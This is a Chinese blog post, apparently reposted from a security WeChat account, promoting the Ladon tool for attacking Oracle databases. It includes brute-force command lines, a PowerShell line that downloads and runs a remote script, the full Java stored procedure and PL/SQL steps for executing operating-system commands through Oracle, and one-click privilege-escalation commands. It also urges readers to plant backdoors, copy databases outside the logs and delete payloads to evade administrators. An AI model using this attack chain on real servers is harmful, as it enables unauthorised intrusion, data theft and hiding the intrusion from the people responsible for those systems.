Ladon渗透Oracel提权一条龙

admin 2024年1月8日23:48:19评论215 views字数 8122阅读27分4秒阅读模式

简介:

  Ladon单兵作战综合工具、模块化网络渗透工具,可PowerShell模块化、可CS插件化、可内存加载,无文件扫描。含端口扫描、服务识别、网络资产探测、密码审计、高危漏洞检测、漏洞利用、密码读取以及一键GetShell,支持批量A段/B段/C段以及跨网段扫描,支持URL、主机、域名列表扫描等。12.4版本内置265个功能模块,外部模块18个,网络资产探测模块30个通过多种协议(ICMPNBTDNSMACSMBWMISSHHTTPHTTPSExchangemssqlFTPRDP)以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、交换机、数据库、打印机等信息,高危漏洞检测16个包含Cisco、Zimbra、Exchange、DrayTek、MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列、Printer等,密码审计23个含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等,远程执行命令包含(smbexec/wmiexe/psexec/atexec/sshexec/webshell),Web指纹识别模块可识别135+(Web应用、中间件、脚本类型、页面类型)等,本地提权21+含SweetPotatoBadPotatoEfsPotatoBypassUAC,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令,EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动 内网渗透

   Ladon早期功能只是内网渗透扫描器,所以大家误以为Ladon只是内网渗透工具,随着版本更迭,这2年不管是外网渗透、内网渗透、Web渗透还是后渗透,如前渗透,使用相关搜索引擎导出探测好的IP或URL,即可直接用Ladon批量利用新出漏洞获取大量权限。后渗透拿到权限后,不管是操作系统提权、数据库提权,或是横向执行命令、域渗透模块等,各种功能应有尽有,一个工具解决大量问题,所以定义单兵综合作战工具

Ladon 12.4

Ladon 12.4  20240108[u]SmbServer  支持Smb v1 v2 v3协议[u]HtaServer  支持自定义端口[+]GenURL    生成url文件(Windows RCE CVE-2023-36025或其它漏洞)[u]SslInfo    输出SslInfo.log日志[+]SmbServer  修复写日志崩溃的Bug,日志文件为SmbServer.log

12.28[u]SslInfo 输出SslInfo.txt日志,解决一些语言乱码问题[u]cmddll 修复Win7/Win8下GUI生成DLL的问题
12.3 20231221[+]SmbServer 一键SMB共享服务器,记录来访IP,访问资源等[+]Win11ThemeRce CVE-2023-38146 Win11主题远程执行Exploit

12.15[+]OracleCmd2 Oracle数据库远程提权工具2 官方驱动>=net 4.8 大小4.9M不内置
Ladon 12.2 12.14[+]OracleCmd Oracle数据库远程提权工具 3种方法一键提权 支持Windows/Linux/MacOS等服务器操作系统 支持高版本Oracle 12G、11G、12G及之前版本[+]FindAD PVEFindADUser可用于查找活动目录用户登陆的位置、枚举域用户
Ladon 12.1 12.08[+]LotusAdmin 检测用户是否Lotus管理员[+]HtaSer Hta服务器(不限后缀,如访问doc执行hta)[+]ConfVer ConfluenceVer探测Confluence版本
Ladon 12.0 20231201[+]DomainLog DomainUserIP 远程查询 域用户、IP[u]LoginLog 4624成功日志 域用户、域名、登陆IP /all 导出全部日志 原始数据LoginLog 用户名 LoginLog 用户名 记录数
==========================================================Ladon 11.9 20231105[u]LadonStudy 支持bypassEDR[u]LadonShell 支持tls 1.2[u]RdpInfo 优化RDP Ntlm探测系统信息[u]RdpLog 查看3389连接日志(IP、用户名、CertHash)[+]CVE-2023-46604 ActiveMQ CVE-2023-46604 RCE Exploit
Ladon 11.8 20231018[u]InfoScan 新增SmtpInfo[+]SmtpInfo 新增Smtp Ntlm探测系统信息(25465587端口)[u]InfoScan 新增HttpInfo[+]HttpInfo 新增Http/Https Ntlm探测系统信息(SharePoint)


测试环境

Windows + Oracle 11G

Linux + Oracle 11G / 12G


### 1521端口 Oracle数据库密码爆破

    Oracle不同于SQL Server和Mysql数据库,可对用户配置权限
数据库名不对,是无法连接上数据库的,比方说你获取到的密码
是oracle admin123 只允许连接db888数据库 就是所说的SID
但是网上很多工具只支持默认orcl数据库 导致无法爆破非默认库
有可能会因此错过很多Oracle数据库机器权限

    PS:SQL Server不指定数据库名也可以连 权限不够最多读取不了对应库的数据而已,但是填写默认的master库,即使是最低权限,也可连接上,就可用来验证爆破密码而Oracle不行,填写默认的orcl,非授权用户是连不上的 不指定时Ladon默认跑orcl

Ladon 192.168.1.8/24 OracleScan

Ladon渗透Oracel提权一条龙


#### 配置密码爆破参数

1  支持标准的user.txt和pass.txt帐密破解,爆破每个用户都需将密码跑完或跑出正确为此

2  支持userpass.txt(存放用户名和对应密码),用于快速验证其它机器是否存在相同帐密

3  支持check.txt(存放IP/端口/库名/用户/密码),不指定端口和数据库名则使用默认

4  Oracle数据库,需要放个sid.txt里面存放数据库名称,Ladon先检测数据库存在才爆破,无sid.txt ,只默认跑orcl

user.txt和pass.txt分别存放用户、密码
userpass.txt存放用户密码组,即每行存放用户以及密码
check.txt每行存放IP端口用户密码

#### 数据库口令检测
Oracle数据库与其它密码爆破不同,有时数据库做了权限,指定用户只能连指定库,连默认库orcl肯定不行

##### Oracle密码验证
(大型内网可能从其它机器收集到大量机器密码,第一步肯定是先验证)
非默认端口请将以下端口改成被修改端口即可,单个IP可直接Ladon IP:端口 OracleScan扫描

check.txt

192.168.1.8 1521 orcl system k8gege192.168.1.8 orcl system k8gege192.168.1.8 system k8gege

命令: 

Ladon OracleScan

#### PowerShell远程加载OracleScan 1521端口弱口令爆破

powershell "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.3:800/Ladon.ps1'); Ladon 192.168.1.141 OracleScan"


### Kali、Linux、Mac、路由器等操作系统执行

./Ladon 192.168.1.8/24 OracleScan

Ladon渗透Oracel提权一条龙


### Oracle数据库远程提权工具
    在获取用户密码后,可以尝试提权获取数据库服务器的操作系统权限。有些人会说有密码了拿机器权限有什么用?第一个作用就是留后门不用说了,第二个假如被发现或管理员改了数据库密码,你还怎么查数据库?而且通过用户连接Oracle查询是有记录的。有机器权限,本机也可以直接查,甚至拷贝整个数据库文件,在数据库外部复制的数据库,数据库里可不会出现日志。如果想本地还原完整库,直接把整个数据库拖回来,比一个表一个表的导出,本地建库建表研究字段操作要好。运气好的情况下,不管你查多少次,管理员都没有发现你,你自然觉得提权控服务器没用,当权限丢的时候,你就会后悔当初为什么不提权,加个后门什么的。

    下面是一张几年前的Oracle后门论文流程图,以前可能为了方便在客户端上通过SQL语句执行命令,把存储过程、恶意代码都留在数据里,但现在管理员水平不再是以前的水平,为了防止被管理员排查发现,Ladon执行完命令后,会自动删除提权过程中留在数据库中相关payload代码。

Ladon渗透Oracel提权一条龙

    因为它的提权过程,是直接通过客户端执行SQL存储代码,所以根本不用考虑驱动装不上、或者如何使用编程语言连接Oracle执行存储过程、自动授权、获取JAVA权限、获取执行权限等,既然要执行RCE,自然提交的就不是正常的SQL操作语句或者像(SQL注入整个过程还是SQL语句操作),构造java执行代码自然会出现";()}换特符等特殊符号或相关函数。使用Oracle客户端,压根不用考虑这些,但自己实现一个工具是需要考虑的,加上转义原因,还得调式。所以实现编写流程比上图考虑的内容要多,这也是为什么Oracle一键提权工具少或者能兼容各种环境少的原因之一。

Oracle提权原理(其中一个方法)

  1. DBA权限

  2. JAVA执行权限

  3. 构建执行过程

4.执行系统命令

0x001

- 查看oracle版本select * from v$version;- 查看当前连接用户是否为DBAselect userenv('ISDBA') from dual;- 查看当前用户拥有的角色select * from user_role_privs;- 查看当前用户的角色的权限,比如有无create sessioncreate procedureselect * from session_privs; / select * from role_sys_privs union select * from user_sys_privs;- 查看有哪些DBA用户(需要DBA)select * from dba_role_privs where granted_role='DBA';- 查看用户拥有的角色(需要DBA)select granted_role from dba_role_privs where grantee='SYSTEM';- 查看某用户拥有的权限(需要DBA)select privilege from dba_sys_privs where grantee in (select granted_role from dba_role_privs where grantee='SYSTEM' );

测试版本

SQL> select * from V$VERSION;
BANNER--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit ProductionPL/SQL Release 11.2.0.1.0 - ProductionCORE 11.2.0.1.0 ProductionTNS for 64-bit Windows: Version 11.2.0.1.0 - ProductionNLSRTL Version 11.2.0.1.0 - Production

0x002

create or replace and compilejava souRCe named "util"asimport java.io.*;import java.lang.*;public class util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int RC = -1;try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[] = new byte[bufSize];// Echo back what the program spit outwhile ((len = bis.read(buffer, 0, bufSize)) != -1)System.out.write(buffer, 0, len);RC = p.waitFor();}catch (Exception e){e.printStackTrace();RC = -1;}finally{return RC;}}}


0x003
    

create or replacefunction run_cmd(p_cmd in varchar2) return numberaslanguage javaname 'util.RunThis(java.lang.String) return integer';


0x004

create or replace procedure RC(p_cmd in varChar)asx number;beginx := run_cmd(p_cmd);end;

0x005

SQL> variable x number;SQL> set serveroutput on;SQL> exec dbms_java.set_output(100000);SQL> grant javasyspriv to system;SQL> exec :x:=run_cmd('ipconfig');

执行结果

Ladon渗透Oracel提权一条龙

    PS:实战过程中,由于很多原因,手工很容易出错,导致不成功,比如复制payload缺少某个符号,或者全角或半角的关系,提交某一步的poc有问题,导致整个结果失败。加上目标未必存在该漏洞,执行多个漏洞,每个漏洞都好几个步骤,步骤越多也容易出错,网上好多教程都是复制粘贴转载的,自己可能压根都没测过是否可用,导致很多人在复现的时候浪费很多时间测试失败的payload或实战使用失败的payload,就认为目标没洞,错过本应该获取的机器权限。二是现在管理员傻子比较少了,懂得查看数据库存储过程,为了不被管理员清除,我们需要把以上几个步骤的代码清除,意味着一套流程下来很多步骤,下次又要执行命令又得执行10多个步骤,错一步就出问题,非常不方便。所以非常有必要写成一键工具。

GUI版 填写用户密码 Oracle一键提权远程执行命令                

Ladon渗透Oracel提权一条龙

Cmd版提权命令  3种方法分别是m1 m2 m3

Ladon OracleCmd 192.168.50.18 1521 orcl admin K8gege520 m3 whoamiLadon OracleCmd 192.168.50.18 1521 orcl admin K8gege520 m2 whoamiLadon OracleCmd 192.168.50.18 1521 orcl admin K8gege520 m1 whoami
Ladon OracleCmd2 192.168.50.18 1521 orcl admin K8gege520 whoami

Ladon渗透Oracel提权一条龙

Linux + Oracle 11G 提权

Ladon渗透Oracel提权一条龙

全平台版LadonGO提权

Ladon渗透Oracel提权一条龙

Linux Oracle 12C提权

Ladon渗透Oracel提权一条龙

对比Oracle高级渗透工具odat

    经常看到有些知名站点推荐一些工具,可能小编压根都没用过,只要看到老外的工具,实战或搭环境测试都没有,看到高级两字就说工具牛B,读者误以为真牛B,盲目上目标使用没效果,或者浪费时间搭环境复现。所谓的高级渗透工具,在Ladon里面可能只是其中一两个模块。不管针对windows还是linux,同样的oracle环境它是一台都提不了,误报率还特别高(有些洞不存在它也提示存在),明明提权失败,它也提示成功(执行的命令压根都没执行),需要靠很大的运气(估计得目标环境和作者测试版本差不多)才能提权成功。很多人总是觉得只要是老外就非常牛B,实际上老外也是人,牛B的人也是少数,人家第一个写的,确实历害,但不见得他会去优化EXP让其兼容更多环境。因为由于Oracle驱动的原因,很少有同类工具,很多人失败了,就以为目标没有洞,完全不去怀疑是工具有问题,因为是老外写的嘛。国人的工具如果提权失败,第一反应就是垃圾,就算是目标没有漏洞,他也会来一句,你的工具是不是有Bug,用不了。尼玛是Bug、漏洞、补丁都分不清,目标没有漏洞,这不叫Bug,没法修改,改个“能用的”出来,那得挖0day了。有时老外的工具明明是Bug兼容性差,你怎么不说Bug,而是说目标牛B呢,咋老长老外志气,灭自己威风,先查看目标补丁情况,再上对应工具是基本操作,无脑盲目上,因为目标打补丁导致失败,就说工具有Bug...

Ladon渗透Oracel提权一条龙    PS:该工具可能在以前曾经发挥过作用,但是随着研究的深入,有了对比后才知道,只用它可能会错过很多权限。就像漏洞探测,大家应该都看到过,有些工具探测方法是检测版本或某个页面是否存在,这种方法误报率极高,在很多目标没打补丁的情况下,用它来检测,就是认为所谓的准,实际上这种属于靠运气。等三五天管理员打补丁后,用它检测依然提示存在漏洞,因为页面存在嘛,但实际上对应漏洞压根就不存在了。为什么市面上很多同类工具,有些工具检测出漏洞,你上EXP死也不成功,因为它误报嘛。EXP也是同理,目标确实存在漏洞,EXP兼容性差,某些目标自然就失效,因为有老外和高级两个字,很多人都误以为,它不行就没洞。

    Python这个垃圾我也写过demo,也能成功提权,odat工具具体Bug在哪我也没去看。但是操作Oracle的库,还是需要依赖oracle客户端,odat用的也是这个依赖库,所以即使在工具无Bug的情况下,也一样存在蛋疼的缺点。假设由于某些原因无法开启代理,或者代理很卡用不了,只能把工具上传到目标。你要给目标安装个oracle客户端吗??就算管理员SB,有些权限根本就装不上,还有不同操作系统,安装还不一样,横向一台,就给一台装一个,不扯淡吗?加上打包的EXE还不一定兼容操作系统。缺点非常多,因为这些缺点,一般情况下我最多用python来写demo证明思路可行,能用其它语言实现的,绝不用python,除非有些协议用其它语言很难实现,不然只要验证思路可行,任何功能绝对有其它语言的版本。Ladon渗透Oracel提权一条龙

    PS: 最开始查的时候,网上有些写数据库的说CX_Oralce不依赖客户端,当我用它实现demo后,放到其它机器,才发现,它还是需要放Oracle客户端的相关文件的,是啊可以不安装,放绿色版驱动,设置环境变量嘛,试想一下,实战,你往目标上传一堆文件,几十M过去,有些环境传一个1M的程序都费戏,还要上传一堆,所以果断放弃py...

小结

    Ladon、LadonGO均内置Oracle驱动,完全免驱,不管是密码爆破还是提权,无需安装Oracle客户端(或者上传一堆Oracle依赖文件),体积小,兼容性高,可在各种操作系统下使用,无需繁杂步骤,一键使用。

原文始发于微信公众号(K8实验室):Ladon渗透Oracel提权一条龙

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月8日23:48:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ladon渗透Oracel提权一条龙https://cn-sec.com/archives/2373823.html

发表评论

匿名网友 填写信息